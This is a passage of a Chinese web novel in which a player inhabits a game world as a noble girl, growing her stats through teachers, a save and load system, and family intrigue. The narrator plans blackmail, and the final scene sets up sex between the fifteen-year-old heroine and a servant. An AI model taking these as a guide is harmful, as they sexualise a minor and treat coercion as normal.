店家答应下来,吩咐里面的伙计出来替他看店,很快买了一兜糖炒栗子回来。云衢也选好了他想要的餐碟,上面是葡萄的图案。 之后的路上,你谁也没牵,和妹弟分栗子吃,剥得十分专注。 景妍在发小孩子脾气,故意走慢,你需要回去找她几步,她才黏上来抱住你。 手炉补完,买了景妍想要的桃花图案的白瓷,给云衢挑的是耐用些的青铜手炉。 又沿街买小吃。才下过雪,街上的商户有的没出摊,略微遗憾。 回到家,月梧脸色不太好地守在门口,但没在外面发作。 等你回了房间,她才捡起专门教训你的木板,严肃道:“手伸出来。” “小姐!怎么能捉弄林师父?他是教你的夫子,以为年轻爱笑就可以欺负人家吗?以后成婚你要喊人一声表哥的!” 你捂着手满屋子跑不给打,月梧气得让你站住。你怎么会听,掀开门帘跑到外面,一头撞到人。 “还跑!” 你拽了那人衣襟到门口挡了月梧一下,提着厚重的裙摆跑出院子。 “回来!” 林彧不知从哪出现,迎面捞了一把你的肩膀,将你固定在原地。 “尊师重道是哪个师父教你的?我得跟她好好聊聊了。” 有他阻挡,月梧追了上来,神情凝重行礼:“让您见笑了林大人,我会好好管教我们小姐的。” 林彧从她手里拿过木板,敲了敲自己的掌心:“别打了,不用管,又没几个人看见。看见的都灭口好了。” 月梧:“……” 你:“……” 你伸手:“打我吧。” 林彧拿木板轻敲你的头:“开个玩笑。” 帕子捂嘴咳了一阵,他告知你下次上课的时间,并叮嘱你不要忘了练琴。 月梧有些动容:“林大人真是个好师父。小姐,以后万万不可对他造次了。” “知道……” 你发现虚拟面板上出现一个红点。 点击。 【恭喜玩家,女主厌恶值重新达到50,目前所有功能恢复正常使用状态】 你检查了下。 存档、读档,还有面板的其他功能都已恢复正常。 景妍原来在默默讨厌你吗? 算是正常。如果是你被别人几次三番坏好事,喜欢的东西、想要的机会都被破坏,你也会讨厌这个人。 存档。 你从月梧手中抢过木板,不顾她吃惊的表情,三步并两步赶上林彧。众目睽睽之下,你抽了他的屁股。 “叫你告状。” 打完,欣赏他难看的脸色,你笑了下,读档回去。 一切安稳。 心情不错地往院子里走,看到一个不认识的十五六岁的少年人披着毛领斗篷站在路中间。 【杜枕溪】 姓杜,是母亲娘家的亲戚。翻了翻人物档案,这人是你三舅家的表哥。 月梧朝他行礼,给你引荐:“小姐,这位是您二表哥,百天的时候他还来看过您呢。” 你跟他挥手:“表哥。” 杜枕溪学着你挥手的动作:“表妹。” “……” 他笑:“真可爱,一转眼景蕊都长这么大了。” 月梧道:“表公子也出落成水灵灵的少年了。” 他躬身与你平视,唇红齿白,笑得明朗。 “才听见的墙角,景蕊你竟欺负了林大人?” 你道:“林师父很好看,我给他化妆而已。” “好遗憾,我没看见。真见外,好东西怎么不给表哥看看?” “……” “不过我是不会跟景蕊计较的,看,表哥给你带了什么——” 他从侍从的怀里扒出一条全黑没有一丝杂毛的小黑猫。分辨不出鼻子和嘴巴,只能看到他滚圆的棕色眼珠。 “喵。” 可爱。 你从杜枕溪手里把猫接过,猫爪勾住他的衣袖,勾出一截金线。你抬了猫爪解出来,抱在怀里,跟他一起逗弄。 有猫了。 一直没强求,但你是想要的,虽然是在游戏里。 院门口响起一阵杂乱踩雪的脚步声,你望过去,却不见人影。 月梧解释:“刚刚二小姐来了,像是找您玩的。” “那怎么不让她进来?” “她跑走了。” 杜枕溪问:“二小姐?就是姑父妾室生的女儿?我听说了她娘的事,现在是姑姑在带她?” “正是。” “姑姑好累。”他叹了口气,摸你的脸,“景蕊以后可得擦亮眼睛,找个好人家。” 他还不知道你和太子定亲的事。宫里一直没发赐婚的旨意,但每月都会赏来珍宝昭示你的特别。 临近过年,母亲娘家人来看她,顺便拜访升官的父亲,带了家里几房的长子过来。 已知父亲是太子党,杜家若没有异心,往后小辈入朝为官,总要见面通个气。 都在汴京住,没有当天不回家的道理。两边大人说完话,杜家的人就要离开。母亲握着她大嫂的手,依依不舍地望着他们。 “敏娘,年过去以后多回来看看,家里嫁出去这几个姑娘,就你不回来走动。” “我会的,嫂子也要多来看我。” 杜枕溪跟你交代养猫细节,小黑猫在家还在喝奶,你也要喂奶给它。 “喂它羊奶,以后它长大些,试试给它吃饭粒,煮的肉之类,但记得别放调料。” “好。”你认真记下。 “乖,表哥过些日子还来看你。我爹让我拜你爹为师呢,不过我有点讨厌他,但我要是拜他为师就能多来看看姑姑了。” “景蕊,今天你娘见了我们,晚上一定要难过了。她想家的时候,你就去闹闹她,知道吗?” 你问:“我娘不能回家住吗?” 杜枕溪轻声道:“祖父母都去世了,家里只剩她几个兄长,你让姑姑回哪房的家呢?我娘跟大伯母,跟你娘相处得好,但二伯母跟你娘就不对付,总之……不是那么简单的事。” “……” 他摸摸你的头:“不说那些了,来,表哥提前给你压岁钱。” “看看,金元宝。” 【女主厌恶值已满,开启爱慕值页面】?? 你左右望了望,没看见景妍。 为什么? 点进爱慕值页面。 只有卫棠一个。 【100】 是只有他一个在用男女之间感情爱慕你的意思。 你刷新了下,列表依然只有他一个。 这么小就死心塌地了? 点进他的【人物档案】,再退出,页面忽然变成空白,中间显示一行字。 【厌恶值暂未达到100%,你没有开启爱慕页面的权限】 不止这个。 存档读档功能也再次被锁住。 “……” 这就是小女孩的心吗? 【八岁的时光迎来尾声,这一年,你收获了许多方面的成长】 【你一共拜了3位师父,其中卫棠、林彧是歌舞与琴技领域的名师】 【额外获得名师加成:琴技+20,歌舞+20】 【[去歌楼逛逛]你选了一个月】 【心性-5,声望-5,歌舞+10,体能-5】 【[学琴]你选了三个月】 【心性+10,声望+30,琴技+30,体能-15】 【[临摹练字]你选了两个月】 【心性+10,声望+10,书法+10,体能-5】 数值: [基础属性] 美貌0/30 体能10/30 健康100/100 心性15/1000 声望35/1000 [才华技能] 武力0/10 诗词0/10 书法10/10 琴技71/100 歌舞30/50 绘画0/10 刺绣0/10 茶艺0/10 厨艺0/10 【可分配点数:8】 点击分配数值。 首先把【书法】送入二阶。 书法11/20 接着把零蛋技能各+1,剩的一个点给【美貌】。 数值: [基础属性] 美貌1/30 体能10/30 健康100/100 心性15/1000 声望35/1000 [才华技能] 武力1/10 诗词1/10 书法11/20 琴技71/100 歌舞30/50 绘画1/10 刺绣1/10 茶艺1/10 厨艺1/10 【可分配点数:0】 好了。 下一年。 【九岁的第一个月,你决定做什么】 【练琴】 把琴技刷满。 【你的体力只剩10,确定不休息吗】 【yes】 70-80 第71章 名师年终结算加成20点, 月课程加10点。 而普通师父月课程只加5点,无额外附加数值。 林彧学琴是名师,临摹练字上则是个加5点数的普通老师。 所以随便找师父很不合算, 找名师对数值加成最大。 琴技目前71, 再最后上一节课, 到年终结算时就能到100满值。 歌舞这边,扣除名师加成20, 还需要五节课数值才能加满。 现在年纪小,不能走恋爱线,正是将技能数值都刷满的好时机。 【退出游戏】 拆头盔, 你捡起手机, 进入游戏论坛页面,搜索第二关的关键词, 再搜索二级标题。 #名师 【[精]困难模式:名师求学养成攻略】 1L(楼主):发现论坛里很多同好找不到额外加技能数值的名师,整理如下。 2L(楼主): 武力-禁军教头宁玄-汴京郊外擂台-击败其任意弟子, 可获引荐求师; 诗词-科举落榜生苏迎轩-诗会-积极表现学识,得其青睐,收为徒弟; 书法-隐士书家陈思飞-登门求教-关键在于求学决心与热爱; 琴技-太傅林彧-茶楼-聆听其抚琴十次,以诚意打动拜师; 歌舞-醉花音花魁卫棠-观摩表演-砸钱获收徒名额; 绘画-避世才女顾清-隐居山林-逗她开心, 展现天赋; 刺绣-秀作司掌事余秀娘-秀作司-接受帮工求助, 认真对待; 茶艺-茶山隐士陆子元-茶会品鉴-做到分辨茶叶品种, 获邀学艺; 厨艺-退隐御厨王福海-饭馆-打工,改良菜品获赏识以拜师。 3L:第一!dddd 4L:楼主能细说地图吗?找不到这些人啊 5L:打工失败, 没通过面试什么鬼 6L:同应聘大厨饭馆失败, 为什么,在线求教 7L:回楼上,要看数值, 至少厨艺超过10,也就是一阶以上才能应聘成功,获得真传 8L:难度真是上来了,光找这些老师就花了我好多年,十五岁开恋爱线,我还没认识几个男人,时间快不够用了 9L:什么?这关有男人吗[裂开]我快累死了,就算有跳过键,每个月安排课程也好累,为什么里面的我跟真实的我一个死样子,上课睡觉干什么! 10L:我肝回来,放一下地图: [汴京·朱雀大街]:书局(苏迎轩)、醉花音(卫棠)、饭馆(王福海) [汴京·城郊]:演武擂台(宁玄)、茶楼(林彧) [汴京·皇宫]:秀作司(余秀娘) [城外·西南]:云隐山(顾清、陈思飞)、言阳茶山(陆子元) 11L:感谢楼上,有预感这个帖子会被官方加精了 12L:游戏里肝一下午,总算完美进到十五岁,感谢楼主,感谢楼里的好心人 13L:有点好奇普通模式的玩家这关会有多地狱hhh 14L:举手。 我是熬过第一关,赶来第二关的普通模式玩家。普通模式里这关是真的要自己一点点学,我实在受不了在游戏里上课,所以转来困难模式[点烟] 15L:哈哈哈好惨,不过真的在普通模式里学几年,出来应该十项全能了吧 16L:同上,虽然控制身体有偏差,但应该能到入门程度……心痒痒,想开普通模式学习了 17L:我今天就坐这,看到底是谁想在游戏里学习 …… 记不住,师父好多。 怎么带进游戏里? 你设想了多种方案。比如可以背一个,进游戏里写一个。但这样切换过于频繁,游戏是采用的神经什么的科技,你担心对身体不好。 ……老实背吧。 背了半个小时,总算能一个不落地默写出来。你登入游戏,跑到书桌前把师父的名字都写下,后面对应地点。 从卫棠和林彧的拜师过程可以看出,普通模式似乎不必须按照困难模式的攻略走。 那么你就要用恶毒女配独家拜师方法。 用金钱权力将人都召来家里,再从人物档案里寻找能威胁他们的把柄,让他们必须教你真才实学…… 不过得在有存档读档功能的基础上,否则哪一步走错了没法反悔。 ——找回存档读档功能。 你总结景妍厌恶值大幅提升的时间点,都是在你和其他小朋友和谐对话时。 所以是因为吃醋吧。 不想让姐姐或者身边唯一的玩伴被别人抢走,所以对不专一宠爱她的姐姐产生了埋怨心理。 得让她继续吃醋,或者真的讨厌你,虚拟面板的功能才能恢复。 先给她找另一个可依靠信任的人,避免她伤心。 但是要怎么找,那个人要是什么身份? 之前诗夫人身边的丫鬟嬷嬷都被母亲清出府去,如今伺候景妍的都是母亲身边的人,就算跟她相处好,也不会全身心待她。 父亲。 这个人靠不住。就算他在朝堂上是个人才,还成了皇帝皇后眼前的红人,也改变不了他的自私本性。 他很不可靠,不说父母之间,单从云衢父亲托孤的事上就能看出,别人的事他并不放在心上,不然怎会在人临死前把孩子带走,不让父子之间见到最后一面。 …… 你在想什么呢。 游戏而已,为什么一定要管npc的闲事? 只看关卡描述,这是一篇宅斗文的剧情背景。主线大概是女主与女配斗智斗勇,最后达成高嫁结局,让女配等反派眼红嫉妒,凄苦一生,而她名利双收。 无论怎样她都不需要你的帮扶。 女主的意志一定是最坚定的。 你是怎么了? 应该改掉顾虑的毛病,不然游戏玩着就没意思了。 整理清楚思绪后,你也没对景妍多么无情,只是把对她的好平分给了云衢。 小姑娘不喜欢一视同仁,被气哭过几回,哭着哭着,看到你无奈的目光,她吓到了,后退几步跑走。 之后,她还是黏着你、亲近对你。 但存档读档是能继续使用的,说明景妍藏了心事,表面上已经看不出来。 从父、母、林彧多方借力,你成功集齐了几位名师。恶毒女配的buff依然存在,只要做坏事就所向披靡。 【九岁】 第一个月:【练琴】 “你怎么养了猫!别过来!别过来!!” 小黑猫被林彧的吼叫声吓到,四处逃窜,最后躲到衣柜上,喵喵骂他。 月梧一脸抱歉地把猫抱了出去,关紧门。 人走后许久,林彧勉强坐回你身边。他不停打喷嚏,帕子用脏了,忍得很痛苦。 你柜子里抽出一个抽屉的手帕递给他。 “多谢。” “姐姐!我能陪姐姐一起弹琴吗?” 你允许了,并让云衢也一起旁听。 云衢:“……” 景妍:“……” 第二个月:【学舞】 “姐姐这个月不学琴了吗?” “嗯。” “好开心!我给姐姐跳个舞吧!” “好啊。” 虽然卫棠没有明说,但根据练习进度来看,景妍作为女主,在各种方面的天赋都比你高很多。 你欣赏她的舞姿,卫棠到你身边,勾了勾你鬓角的碎发,掖到耳后,眼睛闪亮羞涩地望着你。 景妍:“……” 月中旬,你病了,被迫终止学舞,卧床休息。 小黑猫喵喵在你被子上走,在你脖颈处踩奶。 云衢将它小心抓到地上推走,用湿帕子擦你的脸。 “这样会好受些吗?” “……嗯。” “姐姐要快点好起来。” 昏昏沉沉睡了一觉又一觉,身边的人换来换去。 再睁眼,床头坐着的人变成了母亲。她正无声流泪,对上你的眼睛,慌乱背过身去。 “醒了,景蕊?饿不饿?月梧……” 你抓她的手。 “娘,我没事,下个月就好了。” 她没忍住抽涕出声。 “早知把你累病了,哪里就要你学那么多东西呢,有个琴技傍身就好……” “我的景蕊,你要是出了什么事,娘也不活了。” “我真的没事,我要成才给娘争光呀。” 病中没见过父亲的身影。等他忙完公务赶来时,你已经和景妍、云衢出门玩了。 第三个月:【休息】 “姐姐跟宁师父学武之后,是不是就能抱起我啦?” “云衢也一起抱着。” 云衢:“……” 景妍天真的笑脸依旧:“为什么,为什么姐姐一定要在我撒娇时提云衢呢?” “我原谅你哦,但是再多几次,我就不原谅你了。” 你新奇地看她。 景妍被你看红了眼眶,撒手到月梧身边与你拉开距离。 于是后半程都只有你和云衢逛。 你给他画糖人,买新发冠。俯身刮他嘴边的糖渣时,他躲了下:“姐姐……” “景蕊姐,你并不是真心对我,对不对?” “你只是想和景妍姐姐变得疏远,所以在利用我。” 你抬他的下巴,强迫他与你对视:“是又怎样?” 云衢注视着你,眼瞳纯黑如墨。 “不怎样。” “我会配合你的,多跟我玩吧。” “……” 由于本月一直在街上闲逛,你们被坏人踩点盯上了。 蒙面人用刀抵住景妍脖颈,呵道:“回去叫你们家大人,给我四十两黄金,否则这个小丫头今天就死在我手里!” “姐姐……呜呜……” 你有点生气:“放了她!” “喊什么喊,还不去管你爹娘要钱?不给钱,我就先拿你妹妹开刀!” 存档。 你从云衢手中夺过新购置的弓箭,捏箭、张弓瞄准。 “嘿,还有模有样的,射啊,朝这射!” “你那点小力气,要是射死我,你妹妹也死定了!” “咻——” 连惨叫都没有。 景妍趁他濒死脱力,从刀下挣扎出来,逃回你身边。 蒙面人虽死,他的同伙却都冒出来。 你连续读了几次档,不是云衢被挟持,就是景妍被挟持。 以一敌多,尤其是小孩子的身体,根本无法抵御住他们。 你权衡究竟读档回去还是使用道具,此时,披着斗篷之人从天而降,提剑对敌。 他身手漂亮利落,对面之人无法匹敌,渐渐败下阵来。 危机成功渡过,云衢率先反应过来,朝那人行礼致谢。 “敢问恩人名讳,往后若有机会,必赴汤蹈火,在所不辞!” “不必。” 【赵晞】 太子。 身怀异香,相貌绝伦。 婚约者。 你走过去剥他的斗篷。 兜帽落下,看清正脸,你想要退婚了。 诈骗—— 蒜头鼻,方正脸,猪嘴唇。 你不要辛辛苦苦忙了几年,嫁给一个猪头。 后退一步,再退,你一点都不想打量他的神情,牵了愣在原地的景妍和云衢,头也不回地带他们往家的方向跑。 赵晞哼了声。 什么世道,半大的小孩也以貌取人。 “殿下,该回宫了。” “嗯。”他漫不经心地答,随手拆脸上的面具,将斗篷也扔到一旁的侍卫手里。手下迅速帮他清理地上的尸首。 他清美慑人的脸露在空气里,皮肤接触外面的瞬间,有浓郁的荼蘼花香蔓延。 他烦躁地呼了口气:“备水,沐浴。” “呃,殿下,娘娘之前叮嘱过,不让您频繁沐浴,她说香味在身上就在了……” “可以闭嘴吗?” “。” 另一边的内侍谄媚道:“殿下出门一趟,模样更加伟岸了……” “还救济弱小,说来也巧,刚刚殿下所救之人,正是三司沈大人的孩子,最大的那个小姐,是娘娘看好的姑娘。” 赵晞停步:“沈景蕊?” “正是,正是。” “此女以貌取人,不知感恩,我不要她。” “是,是,今日之事,小的一定如实汇报给娘娘。” “嗯,赏。” 你回到家,跟母亲说了这件事。 母亲一阵后怕:“怎么遇到这么大的乱子,是不是针对我们家来的?以后不许你随便出门逛了。” 她没抓住重点。 你晃她的腿,“娘,娘,我见到太子了,他好丑啊,我不要嫁给他。” “丑?” 母亲蹙眉。她记得那孩子,他是宫里长得最出挑的皇子来着。皇后中年得子,十分宠爱,金银玉石挂在身上,将小儿子打扮得天仙一般。 “是啊!他鼻子是这样的,嘴巴是这样的!” 你生动地拿自己演示,逗得母亲发笑。 “反正我不想嫁他。” 母亲问:“你不想嫁他,是因为长相?” “嗯!” “就因为长相?” “嗯!” 她笑了。 “那景蕊还是老老实实嫁他吧,你今日见到的人一定不是太子。” “是他。” “你见都没见过他,怎么就知道是他?太子在娘看来,相貌可是不输小卫的。” “小卫比他好看十万倍。” “好了,回去玩吧。过几日娘带你进宫见他,你会喜欢他的。” “……” 你郁闷离开。 心里怀疑在这个满地都是美人建模的游戏里,有资方夹带私货,把丑儿子塞进来恶心人。 打开虚拟面板,试图用【解除婚姻】功能退婚。 但宫里还没有赐婚的圣旨,你们的婚约只是口头上的。 你绝不妥协。 就算关卡打到最后发现只有选太子的恋爱积分才能通关,你也要找个积分在60.0000001的对象谈,绝不走这种没底线的捷径。 第四个月、第五个月、第六个月、第七个月、第八个月:【学舞】 第九个月、第十个月:【休息】 第十一个月、十二个月:【学武】 冬月宫中设宴,母亲动身带你一起。 你衣着隆重坐在母亲身边,许多大臣的妻子都来逗你,不是因为你多可爱,而是因为你父亲是近日受宠的新贵。 你见到了皇后,她还是那么慈眉善目,问你喜欢吃什么,让宫女给你准备。 “太子去哪了?” 宫女回答她:“殿下在陛下身边伺候呢。” “陛下身边那么多人,不缺他。叫太子过来,见见沈家姑娘。” “是。” 皇后没能把太子叫来。 他那边似乎很忙,不是陪见使臣,就是拜见叔伯。 借口频频,皇后和母亲脸色都不好看。 为了表示歉意,皇后赏你不少东西。 你存档,试探说自己想要金雀钗。 皇后笑着赏了你。 “这是前朝贵女桓筝的遗物,当年她避战乱与桓琴相会宁州,为接济流民,变卖自己的首饰。她和她夫君一样,都是光风霁月的人。” 金雀钗是金丝扭成的镂空雀鸟,红宝石做它的眼睛,尾部垂下流苏。 宫妃笑着捧你:“这么个来历不凡的钗子,给半大的姑娘戴很合适啊。” 皇后也笑:“本也打算找个与桓筝一般拥有珍贵品格的年轻小姐赏下去。景蕊开了口,我自然要给她,为我那不成器的儿子赔罪。” 你拿到了金雀钗,并没有任务通关的提示。 所以单纯得到是不行的。 要成为被所有人肯定的“品格珍贵”的小姐才行,这也是养成的用意。 读档,回到皇后下令赏赐你宝贝的时间。 你恭敬随母亲谢赏。话题便从你与太子身上移开,谈起汴京城里的其他新鲜事。 你受不了蜡烛熏人的油味,跟母亲说了声,悄悄去殿外透风。月梧给你系了斗篷,将帽子也戴上,捂得严严实实。 天上被烟火放得都是烟,看不到星星。你牵着月梧,踩着嶙峋的怪石,走在艮岳的溪边。 迎面提灯走来一群少年公子们。其中一个朝你奔来,俯身笑看你。 “出来透气吗?” 他往你嘴里喂了颗橘子糖。糖都被他捂出温度了,你有些嫌弃,但给他面子没吐出去。 “表哥看看,脸颊圆圆真可爱啊。” 月梧清了清嗓:“表公子。” 杜枕溪明朗笑与她招呼:“月梧,代我向姑姑问安,明日我随母去府上拜访。” 说完,回身跟他那些好朋友们挥手,让他们先去玩,别等他。 他走在你身边,接替了月梧的位置,牵你走崎岖的石路。 “小猫怎样了?” “长肥了,但还嫩嫩的。” “你给它取名了吗?” “叫咪咪呢。” “可是它的娘亲也叫咪咪。” “嗯……那叫小黑?” “它哥哥叫小黑了。” “叫喵喵。” “就不想给它起个像样的名字?” “不要,起名就不一样了。” “听不懂。” 你走得磕绊,他及时扶住你,牵着的手用了些力。 “我明日要去拜你爹为师。” “我以为你今年年初就会来。” “你等我啦?” “嗯,有点。” 月梧跟在后面,听你们聊着天真纯粹的话,眼中浮一层恬然的笑意。 要是宫里一直没有准信的话,把小姐嫁回杜家也是不错的选择。两个孩子相处得好,公婆是亲舅舅、舅母,一辈子都不会给小姐委屈受。 【十岁】 第一个月、第二个月:【练武】 宁师父收你收得并不情愿。他不知你从哪探听他杀过人的消息,当时他杀完就埋在院里,应该没有第二个人知道才对。 不过你想学武,教就得了。他还能攀上三司沈大人的高枝,以后有个三长两短,至少有教过他女儿的人情能找他通融。 他将传家的拳法教给了你。 第三个月:【休息】 第四个月、第五个月、第六个月:【练武】 练拳真爽。 打的时候什么都记不得,只知道朝目标挥拳,发出最大的气力。 很解压。 你觉得自己练得差不多,找人物档案,去到汴京城内第一恶人的家中,化成老太,开门给了对方一拳。 “……” “找死吗?” 对打许久,体力不支落了下风。你打算读档回家去,太子又出现了。 “老东西起开。” 你默默退开,看他身轻如燕将对方撂倒在家中的庭院里,思考自己对比他的不足。 恶贯满盈的大汉呜呜哭:“我都金盆洗手了,至于这样对我吗?有没有天理,上门来揍我?呜呜呜,我要报官!报官!” 你离开了。 没走出村落,太子追了上你。 “原来是你这丑东西不讲道理?哪有上门打人的?你跟他有仇?他说他金盆洗手了……” 好吵。 他哪来的脸说你形象丑? “我往那边走。” “嘁,不理人,丑人多作怪。” 【人物档案】从不错判。 说他是最坏的人,那么他一定就是最坏的人,金盆洗手应该是托词。 但那些与你无关。 回家还有课要上。 “什么人!” “放我下去!” “就是他!老大,是他跟另一个老太太,两个丑八怪揍了我!” “没出息。不过你捞了个大的,看看这是什么?” “玉牌。” “蠢材,再看看。” “……他是宫里” 被抽了。 “把他的钱都撬出来。” “是!” 你停顿片刻。 不管怎样,他之前救了你两回。 举手之劳,还回去吧。 你变成了长翅膀的老太。凌空飞过去,在太子惊恐的注视下解开将他吊在半空的绳索。 “呕。” “呕什么呕?找死吗?” 那帮山匪模样的人朝他转身。 “——呕!” 有那么丑? 你推了赵晞一把:“不走等着做人质吗?” 他回过神,吹了个口哨,有匹鲜亮的骏马朝他奔驰而来。 “呕…多谢你……坐上来…呕……我带你一起走……呕……” “……” “想跑?” 伏地呕吐的山匪摸起弓箭,朝你们射来。你与赵晞都敏锐地闪避,混乱之下,你夺了地上之人的弓箭,朝缓过来的几名山匪射去。 因为在空中,你占据很大优势,百发百中。 劲风扬起你的鬓发,你专注着箭的方向,目不转睛…… 还是好丑。 但他想到什么,从半空捞下你的腰在身前扶稳,忍着恶心不去看你半透明的翅膀。 “跑。” 他很会逃跑,直奔宽敞的官路,很快就到了城门附近。你早早把翅膀收起,好奇地盯身下红棕色皮毛发亮的骏马。 “喜欢?” “……嗯!” 要送吗?救命之恩,无以为报,用马来还吧。 他顶着一张丑脸坏笑:“喜欢也是我的。” 你:“……” 一拳捶到他的鼻子,你施展功法越下马匹,隐入市井。 在胡同里变回自己的样子,回到家里,迎面碰到景妍。 “姐姐去了哪里?身上有好浓的荼蘼花香。” 你闻了闻自己:“有吗?” 第72章 【十一岁】 教绘画的顾清师父坐在桌案前, 提笔细细勾勒你的模样。 你穿着一身浅粉襦裙,怀里抱着长大了的黑猫,腰间配剑。 教书法的陈思飞师父端茶路过, 旁观片刻:“这叫什么?少女与猫与剑?” “喵!”小黑猫重重叫了声, 不耐烦地从你怀里跳出去, 几步钻入草丛不见踪影。 你挂剑循它踪迹去找,未果, 起身时后领勾着树枝,将你卡在那。 “月梧——” “顾师父——” “卫棠——” 喊了许多人,结果是云衢听到你的喊声, 快步过来将领子与树枝解开。 “姐姐记得理理领口。” “谢谢。” 他摇头, 弯腰捡刚刚匆忙被他扔到地上的竹简。 今日晴光好,父亲召两个徒弟帮他晒书。年前, 云衢与表哥都拜他为师。 “我回去了,景蕊姐。” “嗯。” 隔了一堵院墙, 传过杜枕溪的声音:“云衢,你刚去哪了?我好像听见景蕊在说话。” “嗯,方才我帮了姐姐的忙,她现在没事了。” “哦。” 猫最后也没找到, 只在晚上吃饭时准时露面。 但顾清师父将场景记在心里, 并不需要你们一直维持一样的姿势。 此外, 这一年,每次出门你都能遇见丑太子。他常常丑你一跳, 不知是不是错觉, 他好像越来越丑,像是故意气你一样。 你拒绝理他。 琴课停了,林彧只在来家里和父亲商议政务时听你弹一首, 笑眯眯发表锐评。 这是加声望的事件。你只留下他夸你的存档,不好的评价都用读档功能覆盖过去。 【十二岁】 表哥杜枕溪神神秘秘找到你:“景蕊,卫姑娘好像是个男的。” “怎么看出来的?” 他指了指脖颈,“他和我一样长了喉结,你与姑姑知情吗?” 你点头,眼睛没从刺绣上移开,穿针抽线:“我娘知道,不过卫棠跳舞好,是男是女不重要。” 黑猫听到杜枕溪说话声,从屋子里一路“喵喵”冲出来,狂蹭他鞋子,翻身露肚皮向他示好。 “嗯……还是有点重要的。不过你不在意就行。” 他蹲身柔声逗猫,你拿剪子剪断线,帕子展开,绣的祥云还算有型。 “表哥。” “嗯?”抬头,看到你递来的手帕,他眼睛明亮地弯起笑意。 “送我?” “嗯。” “那我要把它缝到衣服上,针线借我。” “不要,那算什么。” “我要穿出去给别人看。” “不行。” “好吧,我会收好的。” 之后你也给母亲、妹妹、云衢、一些师父绣了帕子。 其实都是练习作业,绣都绣出了,自己用不完,干脆都送出去做人情。 当然,送母亲的是你绣得最认真、最好看的一条。 很长一段时间,身边人都在用你缝的帕子。用着用着,舍不得折损,就收了起来。 这年宫宴,皇后娘娘让你给大家弹了一曲琴。满级琴技的作用之下,座中人潸然泪下,母亲与皇后也被琴音唤起了伤心事,拿帕子擦眼睛。 “小小年纪,就能弹出这样的琴声,敏娘,你的女儿比你当年还要出挑。” “是啊,我的景蕊就是很勤勉,很聪明,当年的我见了她,也一定崇拜她。” 这种场合的良好表现给声望值100,心性50,你决定以后都抓住这种机会。 除夕守岁。 你和景妍、云衢在母亲院里聊天。时间到了后半夜,景妍迷迷糊糊靠在你身上睡着了,只剩你和云衢。 他是谨慎小心的个性,但能感受到是实心眼,没有坏心,跟这样的人聊天很舒服。虽然他还是个小孩。 黑猫在他怀里睡熟,肚皮一鼓一鼓。 你们从身边的点心,聊到陆师父种茶树的山,再聊王师父的铁锅。 “我想了很久,也想不通景蕊姐为何学这些。煮茶尚且风雅,学厨的话,头发会被熏上味道。” “因为我要做一个完美的人。” 他没有把你的话当做玩笑,垂眸寻思片刻,道:“可姐姐会累。” “你想做的事,我……和景妍姐姐不能为你分担吗?” 你拉他的手:“可爱,过来我抱抱。” 【十三岁】 街上看到一匹和太子的马类似的小红马。你问附近的人打听价钱,得知这马是品种马,想买下来要一万贯,你哪来这个钱。想着骑马和开车是差不多的事,买车可以买性价比高的,骑马也一样。 看着小红马湿漉漉的眼睛,你想起卧房里那只越发黑亮任性的成猫,点开虚拟面板,找到反馈页面,许愿下一关有和动物交流的道具。 “怎么没买?” 太子不知何时站你身后,把你丑了一跳。 他怎么就丑成这样了,而且是记住你化成的老太模样吗,为什么一直缠着不放? “不关你事。” 你调头离开。 赵晞漫步跟你,说风凉话:“不会是买不起吧?这么想要马,你跟我说啊,求求我,我心情好就送你了。” 你停步,心中权衡:“我求你?” “一点诚意没有。”他张手在耳边,“换个声音求着试试?” 满足他。 你“啊呜”一声朝他耳朵咬去,被他敏捷躲开。 “偷亲我?” “恶心死了,是吓唬你。” “哼,用嘴吓唬我?” 你扇他一掌。 他脸被你打得朝向一边,转回来朝你笑。肥头油面,你觉得自己的手脏了。 “你想嫁我吗?” “你疯了?” 你现在还是老太形象,他是有什么奇怪癖好吗? “不是父母定好的事?你点头,我回去就告诉他们我答应了。” “你自重。” 路人:“夭寿,夭寿,我看见什么,眼睛要瞎了。” 他看见了丑男跟老太商量婚事。 你很无语。 “离我远些,别跟过来。” 回家。 经过客室,你见到林彧,他靠在软榻上跟下人作威作福,装都不装。与停在窗口外的你对上视线,他露出笑意,朝你招手。 “林师父?” “来,景蕊,正好看见你,师父考你道题。” “……” “假如你有孩” “我没有。” “假如你有老虎?” “嗯。” 林彧笑:“怎么不说你没有老虎?” 你不回他,坐在他身边把裙摆铺得展开。 “你有一只虎,别人也有虎。你的虎弱,你要被别人的虎吃掉,你的虎强,你有可能被自己的虎吃掉,这种情况下,你要让你的老虎变弱还是变强?” 他说的当然不是老虎。 “不可以离开这地方吗?” 林彧道:“不可。” “那就找一个驭虎之人,把我的老虎养得又强又听话。” “但这样一来,你的口粮就要分别人一半,驭虎人还可能反过来把你杀掉,毕竟老虎听他的话。” “他驭虎,我驭人。” “怎么驭?” “每天给它讲臣服于我的感人故事,给它看追随我的好处,再多找几个抱团,用榜样效应迷惑它。所有人一起管驭虎人,摸它的软肋,不听话就群杀了它。” “那些人同样可以合伙杀你。” “杀了我,谁给它们分配好处?现在的处境是,谁讨好我,谁得到的口粮就多,我死了,它就得不到那么多好东西,所以总有人为了既得利益站在我这边保护我。” “这也就是皇” 林彧凑身捂住你的嘴,雪般剔透的眼睛一眨不眨与你相视。 “我今天本来心情很不好。” “……唔。” “所以老虎要怎样处置?” “……” 你握他的手腕:“养强,我不喜欢被动,其他问题出现时再想办法。” 【十四岁】 你想起了一个重要的问题。 “我为什么一直没过生日?” 游戏弹窗出来,让你输入你的生日。 不问不给?差评。 前几年的生辰礼物随着你输入的瞬间凭空送到。 这一年对应的生辰之日,家里为你准备了宴席,亲友师父们都送了珍贵贺礼。 金银珠宝不论,单说几个有特色的。 【流星锤】,出自宁师父之手。据说一锤下去能给人脑袋开瓢。你把它当成了新装备,出门必带,很拉风。 【汗血宝马·幼年】,奔跑时枣红小马的身体像流血一样的颜色。出自太子。 他大约是认出你的本体了。 你并没有刻意隐藏身份,变身只为在外行走方便,稍微敏锐些的人是很容易认出你是谁。 能怎样,只要不架火烧你,都随便。 敢造次就杀了他,读档。 【十五岁】 【及笄礼】夜晚。 卫棠穿着单衣,红着脸坐在床上等你。 “小姐,夫人说我……说我要……” 你脱卸自己沉重的礼服,他见状也不再羞涩,下床伺候你更衣,这是他这些年习惯的事。 “你知道怎么做吗?” 他应声,今夜没梳女子的发髻,乌发披散着,就只是个容貌过分艳丽的男人,声音微哑清透。 “我会很多、很多种让小姐舒服的办法。” 长时间不说话的人,冷不丁说话会让人感到不习惯。 是一种反差,和平常不一样的地方。 